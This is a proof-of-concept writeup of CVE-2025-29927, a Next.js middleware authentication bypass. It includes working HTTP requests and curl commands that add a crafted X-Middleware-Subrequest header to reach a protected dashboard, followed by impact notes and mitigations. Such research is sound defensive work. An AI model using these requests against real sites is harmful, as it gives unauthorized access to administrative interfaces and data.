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CVE-2025-29927High SeverityMiddleware Security Research

CVE-2025-29927 Middleware Bypass Vulnerability

Muhammad Waseem • PoC Writeup

Disclaimer

This PoC is intended for use in controlled environments with explicit permission. Unauthorized testing against systems you do not own or have consent to test is illegal and unethical.

Introduction

This security research demonstrates a critical vulnerability in middleware handling within web applications. The PoC illustrates how a specially crafted HTTP request can bypass redirection logic to access restricted content, such as administrative dashboards.

Table of Contents

  • Prerequisites
  • Vulnerability Overview
  • Proof of Concept Steps
  • How to Replicate
  • References

Prerequisites

To follow this PoC, you'll need:

  • A target server running a vulnerable configuration
  • HTTP client tools like curl, Burp Suite, or custom scripts
  • Basic knowledge of HTTP protocols and headers
  • Understanding of middleware architectures

Vulnerability Overview

CVE ID: CVE-2025-29927

CVSS Score: 8.2 (High)

Vulnerability Type: Authentication Bypass / Access Control

Affected Components: Nginx + Next.js middleware configurations

This vulnerability exploits a middleware misconfiguration or logic flaw where adding a custom header (X-Middleware-Subrequest) alters the server's behavior, bypassing redirection mechanisms to access restricted content.

Proof of Concept Steps

The PoC demonstrates two scenarios: an unsuccessful request followed by a successful bypass using a crafted header.

01.Initial Request (Unsuccessful)

This step demonstrates the default server behavior when accessing the /dashboard endpoint without additional headers.

HTTP Request

GET /dashboard HTTP/1.1
Host: abc.com
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

Server Response

HTTP/1.1 307 Temporary Redirect
Server: nginx/1.14.1
Date: Sun, 23 Mar 2025 22:02:08 GMT
Connection: keep-alive
Initial request showing 307 redirect

Analysis

  • Response: 307 Temporary Redirect indicates protective mechanism preventing direct access
  • Server: Nginx/1.14.1 handling the redirection logic
  • Behavior: Normal authentication flow redirecting to login page

02.Modified Request (Successful Bypass)

This step introduces the custom header that successfully bypasses the redirection mechanism.

HTTP Request

GET /dashboard HTTP/1.1
Host: abc.com
X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

Server Response

HTTP/1.1 200 OK
Server: nginx/1.14.1
Date: Sun, 23 Mar 2025 22:04:04 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Accept-Encoding
X-Powered-By: Next.js
Cache-Control: private, no-cache, no-store, max-age=0, must-revalidate
Content-Length: 30174
Successful bypass showing 200 OK response

Critical Analysis

  • Key Header: X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware
  • Success Response: 200 OK with full dashboard content (30,174 bytes)
  • Framework: X-Powered-By: Next.js reveals the application stack
  • Exploit Mechanism: Custom header tricks middleware into treating request as legitimate subrequest
  • Security Impact: Complete bypass of authentication/authorization controls

How to Replicate

Follow these steps to replicate the PoC using curl:

Step 1: Send Initial Request

curl -v "http://abc.com/dashboard" \
  -H "Host: abc.com" \
  -H "Accept-Language: en-US,en;q=0.9" \
  -H "Upgrade-Insecure-Requests: 1" \
  -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" \
  -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9" \
  -H "Accept-Encoding: gzip, deflate, br" \
  -H "Connection: keep-alive"

Expected: 307 Temporary Redirect response

Step 2: Send Bypass Request

curl -v "http://abc.com/dashboard" \
  -H "Host: abc.com" \
  -H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware" \
  -H "Accept-Language: en-US,en;q=0.9" \
  -H "Upgrade-Insecure-Requests: 1" \
  -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" \
  -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9" \
  -H "Accept-Encoding: gzip, deflate, br" \
  -H "Connection: keep-alive"

Expected: 200 OK with dashboard content

Security Impact

  • Authentication Bypass: Complete circumvention of login mechanisms
  • Unauthorized Access: Direct access to protected administrative interfaces
  • Data Exposure: Potential access to sensitive user data and system information
  • Privilege Escalation: Access to administrative functions without proper authorization
  • Compliance Violations: May violate data protection regulations and security standards

Mitigation Recommendations

  • Implement proper header validation in middleware configurations
  • Review and harden Next.js middleware authentication logic
  • Add input sanitization for custom HTTP headers
  • Implement defense-in-depth authentication mechanisms
  • Regular security audits of middleware configurations
  • Update to latest versions of Nginx and Next.js frameworks

References

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